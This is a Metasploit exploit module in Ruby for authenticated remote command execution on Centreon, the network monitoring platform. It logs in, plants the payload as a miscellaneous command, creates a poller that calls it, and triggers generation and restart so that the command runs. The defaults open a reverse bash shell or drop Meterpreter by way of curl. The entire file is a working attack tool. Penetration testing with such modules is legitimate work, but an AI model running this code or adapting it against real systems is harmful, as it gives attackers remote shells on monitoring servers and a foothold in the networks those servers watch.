## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Centreon Poller Authenticated Remote Command Execution', 'Description' => %q{ An authenticated user with sufficient administrative rights to manage pollers can use this functionality to execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules (to perform certain actions), by the scheduler for data processing, etc. This module uses this functionality to obtain a remote shell on the target. }, 'Author' => [ 'Omri Baso', # discovery 'Fabien Aunay', # discovery 'mekhalleh (RAMELLA Sébastien)' # this module ], 'References' => [ ['EDB', '47977'] ], 'DisclosureDate' => '2020-01-27', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_CMD, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['Reverse shell (In-Memory)', 'Platform' => 'unix', 'Type' => :cmd_unix, 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } ], ['Meterpreter (Dropper)', 'Platform' => 'linux', 'Type' => :meterpreter, 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => :curl } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']), OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']), OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with']) ]) end def create_new_poller(poller_name, command_id) params = {'p' => '60901'} print_status("Create new poller entry on the target.") token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params) return false unless token response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'cookie' => @cookies, 'partial' => true, 'vars_get' => params, 'vars_post' => { 'name' => poller_name, 'ns_ip_address' => '127.0.0.1', 'localhost[localhost]' => '1', 'is_default[is_default]' => '0', 'remote_id' => '', 'ssh_port' => '22', 'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1', 'engine_start_command' => 'service centengine start', 'engine_stop_command' => 'service centengine stop', 'engine_restart_command' => 'service centengine restart', 'engine_reload_command' => 'service centengine reload', 'nagios_bin' => '/usr/sbin/centengine', 'nagiostats_bin' => '/usr/sbin/centenginestats', 'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata', 'broker_reload_command' => 'service cbd reload', 'centreonbroker_cfg_path' => '/etc/centreon-broker', 'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker', 'centreonbroker_logs_path' => '/var/log/centreon-broker', 'centreonconnector_path' => '', 'init_script_centreontrapd' => 'centreontrapd', 'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/', 'pollercmd[0]' => command_id, 'clone_order_pollercmd_0' => '', 'ns_activate[ns_activate]' => '1', 'submitA' => 'Save', 'id' => '', 'o' => 'a', 'centreon_token' => token } ) return false unless response return true end def execute_command(command, opts = {}) cmd_name = rand_text_alpha(8..42) params = {'p' => '60803', 'type' => '3'} poller_name = rand_text_alpha(8..42) ## Register a miscellaneous command. print_status("Upload command payload on the target.") token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params) unless token print_bad('Could not get the upload form token, potentially due to insufficient access rights.') return false end response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'cookie' => @cookies, 'partial' => true, 'vars_get' => params, 'vars_post' => { 'command_name' => cmd_name, 'command_type[command_type]' => '3', 'command_line' => command, 'resource' => '$CENTREONPLUGINS$', 'plugins' => '/Centreon/SNMP', 'macros' => '$ADMINEMAIL$', 'command_example' => '', 'listOfArg' => '', 'listOfMacros' => '', 'connectors' => '', 'graph_id' => '', 'command_activate[command_activate]' => '1', 'command_comment' => '', 'submitA' => 'Save', 'command_id' => '', 'type' => '3', 'o' => 'a', 'centreon_token' => token } ) return false unless response ## Create new poller to serve the payload. create_new_poller(poller_name, get_command_id(cmd_name)) ## Export configuration to reload to trigger the exploit. poller_id = get_poller_id(poller_name) if poller_id.nil? print_bad('Could not trigger the vulnerability!') end restart_exportation(poller_id) end def get_auth print_status("Sending authentication request.") token = get_token(normalize_uri(target_uri.path, 'index.php')) unless token.nil? response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'cookie' => @cookies, 'vars_post' => { 'useralias' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'submitLogin' => 'Connect', 'centreon_token' => token } ) return false unless response if response.redirect? if response.headers['location'].include?('main.php') print_good('Successfully authenticated.') @cookies = response.get_cookies return true end end end print_bad('Your credentials are incorrect.') return false end def get_command_id(cmd_name) response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'cookie' => @cookies, 'vars_get' => { 'p' => '60803', 'type' => '3' } ) return nil unless response href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href'] return nil unless href id = href.split('?')[1].split('&')[2].split('=')[1] return id unless id.empty? return nil end def get_poller_id(poller_name) response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'cookie' => @cookies, 'vars_get' => {'p' => '60901'} ) return nil unless response href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href'] return nil unless href id = href.split('?')[1].split('&')[2].split('=')[1] return id unless id.empty? return nil end def get_session response = send_request_cgi( 'method' => 'HEAD', 'uri' => normalize_uri(target_uri.path, 'index.php') ) cookies = response.get_cookies return cookies unless cookies.empty? end def get_token(uri, params = {}) ## Get centreon_token value. request = { 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies } request = request.merge({'vars_get' => params}) unless params.empty? response = send_request_cgi(request) return nil unless response begin token = response.get_html_document.at('input[@name="centreon_token"]')['value'] rescue NoMethodError return nil end return token end def restart_exportation(poller_id) print_status("Reload the poller to trigger exploitation.") token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id}) unless token print_bad('Could not get the poller form token, potentially due to insufficient access rights.') return false end vprint_status(' -- Generating files.') response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'), 'cookie' => @cookies, 'vars_post' => { 'poller' => poller_id, 'debug' => 'true', 'generate' => 'true' } ) return false unless response vprint_status(' -- Restarting engine.') response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'), 'cookie' => @cookies, 'vars_post' => { 'poller' => poller_id, 'mode' => '2' } ) return false unless response vprint_status(' -- Executing command.') response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'), 'cookie' => @cookies, 'vars_post' => {'poller' => poller_id} ) return false unless response return true end def exploit @cookies = get_session logged = get_auth unless @cookies.empty? if logged case target['Type'] when :cmd_unix execute_command(payload.encoded) when :meterpreter execute_command(generate_cmdstager.join(';')) end end end end